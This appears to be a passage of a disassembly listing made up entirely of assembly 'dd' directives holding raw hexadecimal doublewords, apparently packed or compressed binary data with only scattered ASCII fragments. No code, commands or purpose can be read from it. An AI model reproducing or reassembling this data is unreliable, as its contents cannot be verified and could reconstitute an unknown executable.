		dd 0BD0CFD9Ch, 80C88C84h, 10C60CC0h, 10A4985h, 184F6844h
		dd 256096A3h, 0F926522Dh, 4239ED16h, 0D88BD004h, 26D32CB1h
		dd 4AA679D7h, 7424A5AEh, 0EBC29D08h, 15594A06h,	310965Bh
		dd 0FE8B7B8Ah, 0C411C13h, 25971B27h, 1EA68CAAh,	1B4674h
		dd 9B8ACE71h, 1B696A60h, 5AD78B64h, 61F883D9h, 336BD17Fh
		dd 21C1105Ah, 0B585C706h, 6D990C17h, 350A6626h,	1B42A304h
		dd 0C4CEC7FCh, 0AE1B601Ch, 0D9330080h, 2612AD67h, 239989E9h
		dd 2D1818F9h, 8C1E1700h, 0A06EBF96h, 0F80226A2h, 1749597Ch
		dd 0A2068262h, 841FC97Eh, 8941466Eh, 9F2A91BDh,	71490B18h
		dd 33EF260Dh, 0D14991ADh, 7E2181Bh, 8DC0B794h, 0C444578h
		dd 287ACFCAh, 0E96EC68Bh, 0CC069907h, 59B01B5Bh, 3448F85Ch
		dd 0ACCB21ADh, 0A6992922h, 0AF524B64h, 0F244F3D0h, 0D5C60081h
		dd 5AA0DA9Ah, 4E005BAFh, 0FA5F8C9Dh, 900EC887h,	595E0453h
		dd 8F117AE9h, 0C3168849h, 0DEE62136h, 0CA0CF6E3h, 0E9044071h
		dd 0C9A44279h, 23013534h, 58019884h, 28379394h,	0A79AC0h
		dd 0AE093BBCh, 5546FE06h, 127AC909h, 91A09FDDh,	85D4FCD4h
		dd 8EB589E3h, 56A08121h, 0C3725E18h, 16748925h,	56460007h
		dd 6BD0AFC3h, 7F024963h, 3EEB702h, 0AD09E050h, 0BD5F810Fh
		dd 5DBD92D4h, 3F683D81h
		dd 8001FF47h, 7A8333C6h, 15A19503h, 0B2E78B43h,	6171301Ah
		dd 3A4FD602h, 61FC66C1h, 76A62161h, 1A4676D6h, 0A2513B00h
		dd 0EC1D594Bh, 3540E94Ah, 76479775h, 10483802h,	0A0068880h
		dd 0BD2338D6h, 5D856149h, 10C8D079h, 0C641E55h,	0CEEAD4DFh
		dd 0C0198864h, 0EBABA1A5h, 83B9822Eh, 0DFA01F20h, 5D996AFBh
		dd 551815D9h, 0DCBACA03h, 432B33D4h, 1CA22648h,	0EF27D30h
		dd 48722AE0h, 81DE2084h, 48137905h, 0F9F029CAh,	42FD2456h
		dd 301AE286h, 8B75766Eh, 6F28FC17h, 61B5A470h, 99D8817h
		dd 60E91D44h, 0D5B3450Bh, 0F11DBC65h, 827B64A3h, 16AED87h
		dd 0E1FDE056h, 5A1534A7h, 2D058212h, 3310F0ADh,	3014A238h
		dd 9D248973h, 0FF4289F5h, 3CE90701h, 0ED005029h, 6BBB776Dh
		dd 2899E6Ch, 0A754EB45h, 24C51B86h, 0FC57D8B8h,	0FF748C1Dh
		dd 7EF4AE00h, 5A762F56h, 2CE390A5h, 454329B5h, 3AB1953Ch
		dd 1923CEh, 5CFFEC70h, 0E9485574h, 1DE38089h, 1815DD7Eh
		dd 1710E835h, 0DEF6AC52h, 0B26E8200h, 0E01D056Bh, 998109AFh
		dd 0D282261Ch, 86091A01h, 3391202h, 1610C781h, 0B27C5479h
		dd 0E5CA108Bh, 3E503222h, 84FF2E15h, 0E40A75B5h, 6688DFF2h
		dd 842426BFh, 15CB1922h, 24A5D92Bh, 699833E0h, 29F426E1h
		dd 14F9C232h, 2E90D918h, 301C5920h, 0B1F35E9h, 0D4B8DBDh
		dd 61D24442h, 0E32061D7h, 681B816h, 19E1F029h, 2408D1D6h
		dd 2CB10A03h, 27081154h, 2B448457h, 10267014h, 3504DE1Ah
		dd 10C18031h, 61224D8Bh, 0D3402D96h, 0AE4B8h, 1912FE3Ah
		dd 0C51F055Dh, 9F00AAB0h, 1A332BA7h, 0B9860F99h, 5AF509F8h
		dd 0BF964314h, 661E02D4h, 91AE9AC1h, 1101B782h,	0FFBF0F01h
		dd 0C981AA42h, 40F7E9A8h, 7EEABA3Bh, 9E2A937Eh,	531F51BDh
		dd 0C65A0169h, 0F95F61B8h, 0E8182826h, 97D6230Eh, 1584AE1Dh
		dd 43875B40h, 0E905139h, 952975F2h, 6D282F29h, 40D71AE0h
		dd 1C80E151h, 199EFC43h, 0C991491h, 1288ECC9h, 488B28BBh
		dd 0C98D030Bh, 0CA3A2E07h, 2028065Dh, 1BF94099h, 8C00B218h
		dd 2EA72CEAh, 280F88E5h, 45F9FFB7h, 288DE50Ch, 5EDC46Ah
		dd 2480F4D8h, 0C75FE7EEh, 97998081h, 0CF814535h, 0C43A67F2h
		dd 2839601Ch, 0A3C80282h, 0CAB442Dh, 1FD1F740h,	7C9CFB1h
		dd 2E329F1Fh, 0B64A9053h, 2CA5930Ch, 2200DE4Eh,	0A4B08EDFh
		dd 1433ACABh, 4404118Dh, 90A50C88h, 0B095AC6h, 0D91F29EFh
		dd 8A0FC522h, 0D3067779h, 0C0F8068h, 2A899D29h,	0E8B903A3h
		dd 19181BD1h, 2C83F407h, 0BC50346Eh, 0FCFAA5B9h, 0BE9EA65h
		dd 6A2E1C52h, 45703292h, 59536BDCh, 0C03E92EEh,	1A399040h
		dd 2A25AC99h, 95048B18h, 0B7A42B51h, 83314091h,	3A20F848h
		dd 23042D85h, 0DFEBED06h, 0E506C9A1h, 10FA3293h, 2240832h
		dd 0E9EC3E39h, 7BA4508Ch, 14C35839h, 0E0CE4489h, 0C35040h
		dd 73FD89E6h, 0E85ECE1Dh, 0AE00FD91h, 9FFE7193h, 0D0802695h
		dd 0FCF11EBDh, 8AC03E80h, 9B531FDh, 594C199Ah, 559F2610h
		dd 92892D38h, 0F0ED586Fh, 43589CE9h, 2851EFF2h,	0DA603CD6h
		dd 70AF5B2Ch, 9A1DD28Bh, 0AC09BDD1h, 0DF70E0FEh, 88B312EDh
		dd 8842CF45h, 0D842FED8h, 69D98BF3h, 58AD2D23h,	8C1AE8A8h
		dd 0E8935700h, 7338FA16h, 0DE8A0660h, 7BD9BD29h, 3B25614Bh
		dd 5969BD82h, 10E90C7Bh, 4200564Dh, 3E68A4CFh, 2EFD6B8Ah
		dd 610876Dh, 2E7EC0B2h,	0AD21B098h, 1421080Ah, 0CD60F024h
		dd 37FF140h, 0C50A113Ah, 84F8A1D0h, 0EEC49B9Fh,	5A0904FDh
		dd 0C201FD05h, 0A5B1F47h, 0E9043BA6h, 0FA2CF41h, 0F102F83Dh
		dd 2F520DD9h, 1C91B5C5h, 33C23C61h, 0D99662Dh, 0BB45B501h
		dd 92649A63h, 36F3F179h, 0CEEE5070h, 0CB4BEA98h, 29A1E905h
		dd 2F4A93CAh, 1F1723ABh, 239FC198h, 38DD8D31h, 98764D14h
		dd 59F1C1C0h, 0FC8753BDh, 0C33176C7h, 2A8651D3h, 882A9C23h
		dd 79101CCh, 1CABB400h,	0FC8E73D8h, 0F9CA5EC1h,	0F2845F14h
		dd 0E3E4FEC1h, 3015A281h, 6605DB29h, 50768FB9h,	820055E2h
		dd 97EF7731h, 0B513D9C1h, 0B29B016Ah, 0BCD2ED80h, 0D8046DB4h
		dd 0A34C92BAh, 8D0045E2h, 46032DB0h, 0D700C2C0h, 0DCA9CBE3h
		dd 0B3E0B628h, 68601C64h, 52D973E8h, 6114A081h,	0D87A7E9h
		dd 3CDDE397h, 0DBC808DDh, 15094CAEh, 0B364CE2h,	0CAD0BF66h
		dd 0F498D489h, 44A7DBDh, 34044075h, 78B62AB9h, 12ADF440h
		dd 2C35B75Ch, 248B1968h, 0C566C9B6h, 4E48A289h,	0ED02C624h
		dd 4CD922C9h, 0B9BEC465h, 0ACB10210h, 71D05350h, 55DA7862h
		dd 53E2A80h, 0D4001D23h, 38AEA3B3h, 0F3B10947h,	0FD649767h
		dd 9EFD9328h, 0FE51BF00h, 0C0E6E17Fh, 5DA439A2h, 808294C9h
		dd 5599ADEh, 551692E8h,	0D3954121h, 880F198Ah, 14CB68D7h
		dd 0CEA4ED31h, 0C21888A4h, 91602D47h, 0D20481FAh, 714BEF8Ch
		dd 370743B6h, 0BFF65BE9h, 0F46A8892h, 0FB85DC3Eh, 0BF7CB30Ch
		dd 2A2C8E34h, 28E1E507h, 26652F9Dh, 89980B15h, 36204DBDh
		dd 416CE781h, 8B591F02h, 52B1985h, 0EACC8E9h, 0B7E8BA07h
		dd 1E3EB4h, 0E1B352D0h,	57724E9h, 8DFE4134h, 0AA4EFB5h
		dd 0EC058F52h, 0EB025F7Bh, 641E4995h, 0ACE63596h, 0E0BBA626h
		dd 0E86FDAB3h, 186917D6h, 937705ECh, 3A01C5A1h,	31B2351h
		dd 46A186EDh, 6813508Fh, 8D250150h, 5FF90125h, 5AA08EB1h
		dd 9604F0A2h, 0F14C074h, 0CD009470h, 7DDA899Dh,	0F03ECB4h
		dd 586F69B7h, 82F38B65h, 7F92C90Ch, 33CB8B82h, 78C6EBE2h
		dd 0A1BD0B09h, 9994821h, 825349Dh, 81402010h, 0D717E8EAh
		dd 14603Dh, 0D8C70DE2h,	0D5F00A3Fh, 0F95DB9BDh,	0D9C81FD9h
		dd 24D19A5Eh, 7497B693h, 45001D46h, 0F1D1066Bh,	4C0320BEh
		dd 9D01F249h, 0CE956919h, 5406D504h, 95C92EE8h,	9750D142h
		dd 8016113Ch, 8B705EDAh, 0FFBF03D8h, 53424965h,	0EFDDE237h
		dd 978903E3h, 0FE864345h, 0C520C206h, 5B19E506h, 4139F730h
		dd 0C89F400Eh, 361A11B9h, 829E7BC2h, 0E42215DDh, 62218A2Fh
		dd 0C4C57AFDh, 168126h,	0D180606Ah, 4930D123h, 49FD9519h
		dd 80D12850h, 0D5AAACFEh, 326D0016h, 0BDE184BAh, 0DA0BBFA2h
		dd 9833C453h, 1C7AEFh, 5A914859h, 9C1D8946h, 0F7CB53Dh
		dd 0D2056CE8h, 0F9B64601h, 0BEA565ADh, 4BC1F04Dh, 0D649FE3h
		dd 0BEB4BB5h, 0CE68188Bh, 0E4C753CAh, 8249D2EEh, 0A2962h
		dd 7D915BBFh, 0C161782Ch, 1F8E595h, 0BD79E181h,	0BA4214EAh
		dd 59242C69h, 0B5893FC2h, 934750E5h, 0D674329Fh, 0B7979C6Ch
		dd 40090060h, 71AB77DDh, 564CCEACh, 5E3D388Ch, 1840F844h
		dd 0D6C24E9Bh, 0F4E0640Ah, 9C8C1A7Dh, 16465E52h, 0EA6D9E09h
		dd 1C000544h, 0FED4B221h, 250BAB04h, 7E043D8Dh,	0B2CFA85Ah
		dd 8D292143h, 11CD68D5h, 0F098C3Dh, 37427C83h, 65F10740h
		dd 37E9261Ah, 44F8C7B5h, 601B601Ah, 35B80AEAh, 0CAE795Eh
		dd 967B16ADh, 93F4286h,	0CCD3D9BFh, 4271EC3Fh, 75FE7819h
		dd 1C9A2A42h, 1AC04BEDh, 38EA890Dh, 3F808A07h, 9FB973E4h
		dd 1B4CACBAh, 0DCFC265Eh, 0BC6237Eh, 850BC6F0h,	0A53D94CAh
		dd 0B1B9A409h, 0C028A3BDh, 221D2794h, 282648B1h, 2FA8944h
		dd 3122654Fh, 11517023h, 0A901E980h, 85E989CDh,	89510B42h
		dd 5EBC0C23h, 15458101h, 840080B2h, 0EB894CE0h,	87387578h
		dd 7A8B814Dh, 350F7F6Ch, 408D8730h, 0E9355A2Fh,	0D2E67017h
		dd 59E917F0h, 0F02D33Bh
		dd 33D97BBh, 8DFFF18Ah,	779FCCh, 73B01335h, 6B61CC66h
		dd 0F2398216h, 0F8B75345h, 4005CA2h, 11236CFh, 391C7D4h
		dd 8F07DDF8h, 1D07DDC2h, 0C04D108h, 0BFC9D78Bh,	5024E9EAh
		dd 467CE002h, 0E06C1F19h, 0EFC728C4h, 4C9B681h,	0CBF8C430h
		dd 8129C194h, 53924C98h, 83085C00h, 24D08260h, 3D37198h
		dd 49178EFCh, 284A56E9h, 80DF8B9Bh, 48AF71F2h, 0BA06A097h
		dd 14CE0434h, 2D1209Ch,	499D2917h, 6440D749h, 4B650046h
		dd 1EB6A26Ah, 1301CB1Dh, 871434CEh, 684852F2h, 95331853h
		dd 6A5945F9h, 0B9623465h, 4A31B5F5h, 43D11705h,	0FE692A6Dh
		dd 13B90726h, 8C6B2062h, 0C324F6DBh, 0FC119304h, 56ABCC4Bh
		dd 0B8526804h, 6A789CA8h, 45C20458h, 0BE64DDB9h, 34C2E281h
		dd 402D0807h, 0AC9B6847h, 0CCEC1823h, 0F0528B04h, 684F031Eh
		dd 0DC2F2661h, 39118904h, 6304B43h, 286A537Dh, 85141856h
		dd 0C07575C0h, 64986841h, 2ADB5687h, 0B4DD099h,	0A4684C07h
		dd 688025E7h, 9D228B20h, 4A5BFC34h, 390D0A04h, 1556B854h
		dd 0D703C717h, 0C4361D4h, 13074502h, 6E52DC3h, 2E864702h
		dd 518BB552h, 1670A11h,	0F7976845h, 0D0192A5h, 67660E15h
		dd 28AC0C02h, 60327529h, 8DA1B4B6h, 0CB0C484Eh,	0B653C912h
		dd 4674D0A4h, 2EE3001Ah, 2B1E5C49h, 0CF810398h,	32D89FF6h
		dd 3C0CF017h, 0CCFBF322h, 0CC504C0Dh, 0FF64CF05h, 116F1435h
		dd 0BAF71141h, 9D0DA125h, 81041071h, 3F1CA1AFh,	1F3AD029h
		dd 53B9D7D7h, 416248F8h, 0A2BA6680h, 4EBD806Ch,	85F5884Dh
		dd 0C1533044h, 0E95FD096h, 725C6594h, 3118F248h, 0CAAE30FCh
		dd 8D271DB0h, 337300ADh, 3B8A50DBh, 0C02D5FEBh,	7C2CCC90h
		dd 0CDC76600h, 21D9953Eh, 6BE55CC5h, 0BA44B92Dh, 8F528A3Fh
		dd 802ED325h, 27E35307h, 924F003Eh, 6629F4CFh, 5900982Ah
		dd 73F0F40h, 0B68F640Bh, 0C1C46449h, 10068E5Ah,	4B79BD89h
		dd 0F9654F1Dh, 0FB8312F0h, 841599A0h, 0E935B77Ah, 28A211FDh
		dd 0F952E600h, 5E5F9074h, 7B6B637Dh, 0B5B71Bh, 3659468h
		dd 0B40A995h, 23C13881h, 8B40C00Ah, 0C70C0FBDh,	0FF39A46Ch
		dd 4C8303CFh, 0A00415B8h, 638BC3B2h, 0E855305Ch, 815D4184h
		dd 50242EEDh, 1B83518Bh, 25D75C42h, 5D0C4D89h, 1C302A4Fh
		dd 4129952Bh, 27372C25h, 24C0A530h, 20B02210h, 0B503F22h
		dd 190AFD14h, 570C2510h, 860F1484h, 0D9BF81DAh,	303A1641h
		dd 531B710Ah, 0DD39B700h, 1F48A7B6h, 4199912Eh,	119E995h
		dd 17810AB9h, 55D704B8h, 81748048h, 65BB0DF7h, 868503D4h
		dd 34B640BAh, 5F7DF084h, 0E0ED0CCEh, 4D5868FBh,	0A752656h
		dd 13C5099Dh, 34A97AF9h, 610DE2CCh, 0B2D7EF1Ch,	80667074h
		dd 0BE54E62Eh, 43D217Eh, 421DD508h, 2117B361h, 0B002C220h
		dd 330C632h, 0CC4D7454h, 0F8E0E496h, 604058Ah, 0D98C175Bh
		dd 6FE0A0B6h, 0D709FE79h, 8243212Fh, 0C04396Bh,	174FBD0Ch
		dd 0AB3AE388h, 0EB970AEh, 35382E31h, 70012B3Ch,	63007845h
		dd 69747065h, 73206E6Fh, 14667649h, 0C616D72h, 796CDC50h
		dd 37737365h, 0C708202Ch, 68745364h, 6C369CEFh,	6977CCE3h
		dd 63FC67FCh, 73FE64F4h, 0FD7C28DFh, 5A4061CBh,	2EFDF163h
		dd 66D2A9Dh, 16685420h,	797B6B76h, 0A37757Fh, 1FA040Dh
		dd 30702863h, 43627346h, 4C3A5254h, 0D1D9FF2Bh,	1EB3699Eh
		dd 0A06C6497h, 5470A18Fh, 796C0879h, 0A627F69h,	29647261h
		dd 3E422036h, 73A96556h, 3DBF3F99h, 1EE525BCh, 63870143h
		dd 524E496Bh, 4F38640Fh, 0F544755h, 0F46F7250h,	0DA0F421Dh
		dd 30F323Bh, 437469E6h,	1E900F3Dh, 1A5095B7h, 1E3A188Eh
		dd 85105DF8h, 2D88E206h, 190B6EA4h, 8D959AEh, 6899AD83h
		dd 1B6B8025h, 240A27DEh, 19E53D84h, 58078E14h, 97169968h
		dd 5A862445h, 485AB265h, 25429269h, 0A9719288h,	719EC81Ah
		dd 0A6C81AF6h, 8DAE1470h, 0FD38A244h, 96E44AA7h, 9035FE39h
		dd 0BC0CE29Ah, 200C8C25h, 0E9250BFDh, 3D9764A2h, 2AC22D71h
		dd 0B9700D95h, 11852284h, 4D2059B0h, 0C2810E23h, 0F3131CF8h
		dd 958D1656h, 6052D5C8h, 0C3402834h, 93B03BD4h,	66B42D45h
		dd 5540480Ch, 139D8B8Ah, 0C24CC38Bh, 31659A33h,	92085011h
		dd 88549087h, 858799Eh,	5C9087A2h, 0DCA99688h, 0AF0DAA4Fh
		dd 141468D1h, 0C995ACDh, 86960C9Ah, 9E21A243h, 8EC89290h
		dd 88490AA8h, 7C08A1Ch,	0DC8A3A4Fh, 6A2458F3h, 0AA244065h
		dd 0D02D192Dh, 0CC0112DEh, 0C1168B65h, 8E6A18EBh, 220B058h
		dd 1A1C604Ah, 47193865h, 0C2618041h, 0E6340464h, 0C8603DA0h
		dd 0F6100814h, 614F46ABh, 0F8E9C324h, 0B58B2186h, 81388F7Fh
		dd 18F035E6h, 9EE813C8h, 0C68189FEh, 0B53B31E8h, 0F398361h
		dd 51BBE986h, 5CD8201Eh, 6FCFD822h, 8C026650h, 0A0324C8h
		dd 6B7C5CC0h, 0ECBBAB04h, 1085890Fh, 2418864Dh,	203FDB0Ah
		dd 0E3ADB067h, 0C82404D8h, 509FCFC6h, 81498EEh,	146113E1h
		dd 4C010F91h, 0E970FEF1h, 531C25C0h, 8966E423h,	915FCDBh
		dd 0CA535B02h, 82E84C09h, 8435138h, 5389BBE0h, 80CBEF83h
		dd 0C31A03E3h, 174B3884h, 89C79D76h, 2CE615C9h,	0E6448B37h
		dd 0C5229845h, 8F06AF89h, 57A71C18h, 6623A228h,	5B53BD01h
		dd 12A322A2h, 483E8060h, 0BB8031EAh, 763AB7A1h,	0B10139B0h
		dd 0AC45C84Bh, 2C88A07h, 0D12032C3h, 640BAACBh,	430140D2h
		dd 22C90A4Ah, 23DEE5D6h, 8011DD1Ah, 0D48B5210h,	0A7AE657h
		dd 0E9C03308h, 80AA0721h, 0C28D0A3Fh, 0BCA15A5Fh, 0B9565153h
		dd 91DB2D32h, 0D8E8AC38h, 81D301D1h, 465ABCC3h,	0FAB0BC37h
		dd 970B4932h, 0C38B20E8h, 5B74595Eh, 4A7B6053h,	0CAAC1FC8h
		dd 0D1772AEAh, 39E702C0h, 0F400DDFh, 0CA04A8D8h, 64D4293Ch
		dd 0A2A88424h, 0D605686h, 2128858Fh, 0A1206420h, 20F2BD06h
		dd 23E93889h, 2EA63FD2h, 574403Fh, 9B46F317h, 33212489h
		dd 59FD3C14h, 473D1E46h, 0AE10C930h, 69D187E9h,	247648DFh
		dd 7A004D72h, 0CAB2B80Ch, 27A95E45h, 30060399h,	46C8D190h
		dd 0FF73B05h, 8D24F182h, 2808EA0Ah, 284CCA5Eh, 56125C28h
		dd 13105351h, 0C4A122Ch, 2D3C6761h, 200AC942h, 13349804h
		dd 0C1D83204h, 1C8508C3h, 1C026775h, 885E595Bh,	0B0089837h
		dd 1A4B4E43h, 51D88191h, 91DB50Ch, 0E90844C1h, 0C7430C41h
		dd 0C08BF1DEh, 9346D4DAh, 0B8062087h, 96138F5Ch, 818F6132h
		dd 0CD6B0E88h, 40E623Fh, 6D972517h, 14801891h, 0F82E50D5h
		dd 16DC05BEh, 6E15118h,	0F20666B4h, 91719795h, 62FA801Ch
		dd 27313BEh, 0D74A33DBh, 0C97C880Fh, 451E4C6Bh,	0B8F43D45h
		dd 323D00FBh, 63B2036Ah, 24A30E9h, 93C34060h, 8E9B4B34h
		dd 0F6000F1h, 87B8F9BFh, 7ED201DEh, 0FCDF8C61h,	835E3FE8h
		dd 52D4A40h, 387C1CAFh,	4E806FF6h, 64C14829h, 475BB113h
		dd 665AA700h, 9A04C7F7h, 0B5C790BCh, 6C076BAh, 0BB145B7Eh
		dd 828CBF56h, 40A5F280h, 4E471E07h, 881CCEE5h, 0B8A7C018h
		dd 84970648h, 0C2CC7522h, 39E7078Eh, 307A322Dh,	0AC71B135h
		dd 92E12726h, 9356EB01h, 0C361D68Bh, 8ADCD7D1h,	0E28CB4D0h
		dd 0D6280D8Dh, 5F020511h, 27A594Eh, 847B06C2h, 235CBE00h
		dd 4F8B1278h, 871E9BC4h, 0E7E06A9Dh, 4801CD9Fh,	15EC17EBh
		dd 0D739028Ch, 0F7AEBE66h, 0DC745Eh, 0FF30B172h, 8F0F56F0h
		dd 66870EB4h, 0BEF0C9B9h
		dd 115D0B10h, 13E94Bh, 5558F73Dh, 0C604EBh, 0C9864532h
		dd 859BB535h, 0AB1D3E0Bh, 9FE04C67h, 0E3E0AE89h, 0A10B87BAh
		dd 0A40B679Ch, 965DBDAFh, 0F87A208Eh, 0D6058161h, 35204B56h
		dd 72197081h, 6E7AB521h, 156E00FCh, 0E4B59438h,	11690A71h
		dd 0B38B85Fh, 41C4E7FFh, 87CEB0B7h, 16179457h, 0FEECC10h
		dd 140B604h, 0B008C8FEh, 212D4BAh, 0C312CEBCh, 79B8AEADh
		dd 0CC7BE901h, 0E0D980E4h, 0B0F1F020h, 0C7FE888Bh, 0DE615094h
		dd 89B18B1Ah, 1C6EC214h, 1188B103h, 0A0BC0568h,	0E12214h
		dd 8BA33EB3h, 0BA666180h, 95D1A726h, 26CAAC3Ch,	0D6A7B4F6h
		dd 0FCF40E42h, 0D4438Fh, 4171ACFBh, 4A20DBA2h, 0E193F683h
		dd 64308037h, 0E65F0B77h, 97D38B75h, 5928EE81h,	0C2F91130h
		dd 65F202Fh, 38003331h,	3F8FF292h, 0C13093h, 0BA8B0DBCh
		dd 5B1DB6C3h, 0B990E84Ah, 3A30D0CEh, 0F9813EC4h, 109E35F8h
		dd 80CA7C96h, 3AB6E6AFh, 0EDCC0392h, 0A3F3071h,	0C000DA73h
		dd 0F5BFC366h, 0EC815E05h, 975B4ED2h, 0F7A467C9h, 59830868h
		dd 0F70B048Bh, 0F081D140h, 0A6881EBDh, 0C7BF4719h, 0F7C0A015h
		dd 68483EA7h, 300222BEh, 0D83017B2h, 7487266h, 0EAA40D0Eh
		dd 0E7F85189h, 6C4A5408h, 0FF571E9Ch, 0E59447D1h, 99C3D136h
		dd 0DF2C80BEh, 835F969Bh, 0E10450E9h, 27F9F6F1h, 1502A4D4h
		dd 0A4E8A785h, 4EFCF08Ah, 5C86950Ah, 0FA0C0436h, 1EE6110Dh
		dd 4092492Eh, 24F79B8h,	1C00129Eh, 0F736D703h, 0FB3E383h
		dd 33FB35A4h, 0CEE1BE80h, 40DEB692h, 0CD7ABC07h, 0CBE78B60h
		dd 28FE60CCh, 102B4B14h, 498540DFh, 380CB911h, 3033D006h
		dd 7F204CD7h, 8900D16Fh, 3C73798Dh, 0D27A0Eh, 1AD06C78h
		dd 26045E14h, 0CF368200h, 5324701Fh, 0CB3D009Eh, 5B605A9Ch
		dd 0B601DB77h, 8564CF7Ah, 4444A3E1h, 3A722801h,	318F80DBh
		dd 9BC66675h, 0E7048047h, 0FEAF87C3h, 4BC34FC7h, 8D181E59h
		dd 0CA9D0B3h, 0B12703D3h, 0CDEE3D29h, 0E87ACF83h, 0E9404353h
		dd 0BEF7C794h, 0E7761E30h, 10BC2B0Ch, 25031F66h, 0C270B7F7h
		dd 0FC00BA53h, 50728786h, 206FCC9Eh, 7D18832Dh,	9FE82606h
		dd 0F6202430h, 5DA10C16h, 47036FC0h, 7D7993D1h,	4229FEC3h
		dd 0A64F0824h, 0D0AB0863h, 91228688h, 0EE20148h, 65F9C159h
		dd 2ADDE4h, 0CF968894h,	0F5ED55F0h, 0A43D6000h,	0DAC268EBh
		dd 9AFE077Ah, 3070A074h, 0CAAF4B0Ch, 0FBF7A900h, 90E5D762h
		dd 978B00E2h, 0E492A3F9h, 0AE7B2A7Dh, 4FBB290Ah, 2000D174h
		dd 12E95ED7h, 8ABF388Dh, 29E241B8h, 0FA003B75h,	1B6A849h
		dd 0AF815B9Ah, 0C8FB088Dh, 5E30A269h, 120A3835h, 0F3C11C37h
		dd 0C731406Eh, 5214368h, 0F56960C0h, 5672FBh, 0EC9F1E8Bh
		dd 5917CA07h, 3BD8100h,	0BE829661h, 73EA1CD5h, 71CE4099h
		dd 0F315F731h, 412F1600h, 0F04BB56Bh, 5AB3004Ah, 7C1998C8h
		dd 1CE22993h, 0D0D8AE0Eh, 22BD209Ah, 9560976h, 58D491E9h
		dd 85677400h, 0F40081A5h, 3FED503Eh, 0F8520B2Fh, 0BDA1008Bh
		dd 0E4593BF0h, 3600F3C2h, 0FEA773CCh, 1DE5D512h, 80E2BA84h
		dd 9E7EDB4Dh, 0C000F434h, 8FF6656Bh, 0C1EF7A0h,	242F0718h
		dd 9B2AEDBAh, 0D903AC16h, 82EEF74Bh, 56BAC0DAh,	0A1D31D4Ah
		dd 0FD8340A4h, 93E5C498h, 8010613Bh, 0CD21BCB6h, 0F4B899h
		dd 0F23A3418h, 30013B39h, 3D84D800h, 8A99CB24h,	0C74E000Dh
		dd 3E31CD78h, 4D007D77h, 0E6077332h, 79FA5ABFh,	56831F2Dh
		dd 0C82D2B6h, 15A82F64h, 9909CD15h, 0D88400F8h,	5FEDEE30h
		dd 0CC9709F6h, 1020B341h, 995715F1h, 0A4079A76h, 71CD6D09h
		dd 0F06651D0h, 0B7300003h, 0B3539286h, 1B1E25ADh, 0AA806379h
		dd 347C9CCFh, 0B8A250F0h, 4A9A48FFh, 0B258E830h, 990365FCh
		dd 0A461C6CDh, 3F20C019h, 9ADE0063h, 17E6F87Eh,	0CA00382Dh
		dd 8A8D1855h, 28CEE48Bh, 0AC32E2h, 6F539A4Bh, 966C4F16h
		dd 2B0C30E8h, 3120BB3Fh, 0C0ADEEF2h, 8834FA71h,	6500B8B9h
		dd 8D4B7E1Ah, 0FB455Fh,	0EF1864FFh, 0E1D39E8Fh,	7F96E802h
		dd 8FA4F086h, 6C0880CCh, 945834Bh, 59BCE404h, 6D6F2800h
		dd 0BD0069DDh, 0E7D288A6h, 3A2317h, 65D9736Eh, 0CC71A3B9h
		dd 7E9B5A00h, 66F4B94h,	8DAD3D3Ah, 1AFB4280h, 4656E355h
		dd 8102C79h, 680A6493h,	40D406EFh, 0D41C7C2Fh, 0F70E37F2h
		dd 81E6B70Eh, 56333881h, 3722D424h, 0E0E87FA8h,	8BF79C78h
		dd 0A2A56B00h, 0A4ED2091h, 205F6037h, 670CF2EAh, 0A3865B01h
		dd 328D2F77h, 49833ADDh, 6D78568h, 37967990h, 0FBB34E00h
		dd 7075A699h, 62A500DCh, 7BAFE1C0h, 1990113Ch, 684C5802h
		dd 0C03413B3h, 0AA4668h, 1ED64FAh, 308E5E44h, 43002F7Ah
		dd 0D960C6ACh, 0F9411Ch, 36A6044Fh, 0D03FB25Eh,	8800D4EEh
		dd 6123AF6Bh, 3BDF5B02h, 0C135ACFh, 0DD640EEEh,	3FC2F6A0h
		dd 9100043Dh, 80887BFCh, 1CB61D3h, 6107AD4h, 0E8035A9Fh
		dd 0A4009142h, 86A86F12h, 1E9C5BE6h, 0DD442997h, 224A00F8h
		dd 26D68F55h, 5F915100h, 0D0B789BDh, 0CC9E05CEh, 80925469h
		dd 0D9066A04h, 0C45E7900h, 8D43594Ch, 4B680934h, 0AC987829h
		dd 391F858Fh, 96003859h, 797C6CEBh, 691888E3h, 735CB00h
		dd 665AD313h, 0B8D9033Ch, 458B32DEh, 1EAF41FFh,	2E0C742Fh
		dd 64ABA805h, 4C0F321h,	0D1A667h, 43650AECh, 927CDFB7h
		dd 6150BD00h, 322DF877h, 304FF86Eh, 0D1B893BEh,	0C700D062h
		dd 0E2E969Eh, 7A41DC49h, 77875B1h, 37899AC3h, 180770Bh
		dd 0E454092Bh, 0BB00A391h, 0E5583EEEh, 0F42457h, 76072F51h
		dd 7F939218h, 6D005376h, 5DB9B2BEh, 211AF4h, 50ABEEBDh
		dd 64726C1Dh, 350A3890h, 3C27CC7Dh, 0ACDA6200h,	0E8FE7651h
		dd 0C19D1207h, 28E807FFh, 8997403Fh, 65003AD0h,	3B6484FEh
		dd 0ECDE1FA6h, 0AE400119h, 480EBBA2h, 7490DF4Dh, 6900F4EAh
		dd 23CACF6Eh, 28E95C9h,	31A5E709h, 0BC80813Ah, 3E92360Dh
		dd 0D532D0C0h, 0B0D85E96h, 0E3BB0EBFh, 4121FE73h, 0E80CE2D4h
		dd 0E4285DEFh, 0B600E805h, 0C8434781h, 0DC96C9h, 83445B11h
		dd 0EFFFD6FCh, 0E166C0A0h, 0A7CFC201h, 675A4C3Dh, 510D2030h
		dd 0FCCCD425h, 2311031Ah, 0F131D915h, 0E3A62AB0h, 0DF833Fh
		dd 0E8D387ECh, 1C292F0h, 6E628119h, 80661EA3h, 0C7615648h
		dd 0F6C404h, 8CF5F085h,	8132D997h, 0E6174205h, 5980D3ACh
		dd 0AA58AEh, 0A1F5CC1h,	0FB648976h, 0F454872Eh,	2505E787h
		dd 0D1BE7400h, 0AFBC006Dh, 0BE6D38Bh, 70123C21h, 2D00DABBh
		dd 0F04DB673h, 927E1E27h, 3D048755h, 58CD6062h,	0B4041EFFh
		dd 61EB4175h, 772058C0h, 5501859Eh, 1FFF09A2h, 7D4E8464h
		dd 3650099h, 0C2EC774Ah, 0E459D29Bh, 0F3B70134h, 0D3FAC008h
		dd 0F42E8424h, 0CBAF415h, 0AA22789Dh, 0E42453C9h, 7080B87Ch
		dd 9C5D3D82h, 0A494B0h,	99B3AF4Ch, 0E6000428h, 97E2ACDBh
